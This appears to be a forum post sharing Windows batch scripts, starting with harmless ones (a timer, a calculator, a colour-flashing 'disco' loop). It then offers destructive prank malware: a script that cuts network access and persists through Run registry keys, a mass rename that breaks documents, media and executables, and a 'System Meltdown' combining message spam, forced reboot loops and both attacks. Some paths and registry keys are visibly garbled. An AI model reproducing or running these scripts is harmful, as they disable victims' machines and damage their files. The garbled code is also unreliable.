Here you can find other codes !!!

30 sec Timer

@echo off
for /L %%A in (30,-1,0) do (
echo %%A
ping localhost -n 2 >nul
)
pause

Save it as Anything.bat

Cmd Calculator

 @echo off

title Calc
:loop
cls
set /p first=First number:
echo.
echo Mark ( + - * / )
set /p mark=Mark:
echo.
set /p second=Second number:
set /a final=%first%%mark%%second%
echo.
echo %final%
pause
goto loop

Save it as Anything.bat

Disco !!!

@echo off
:S
echo                     #
echo                   #   #
echo                 #       #
echo               #           #
echo             #   DISCO!  #
echo              #             #
echo               #          #
echo                 #      #
echo                   #  #
echo                    #
color 12
color 23
color 45
color 67
color 89
color 91
color 37
color 42
color 43
color 51
color 15
color 42
color 2
color 3
color 34
goto s

save it as Anything.bat

Disable Internet

Disable internet permanently

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Save it as Hinternet.bat

TXT Files

Change files to non-working TXT files

REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

save it as Anything.bat

Crash

System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED *****
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

PAUSE

PAUSE

Save it as Anything.bat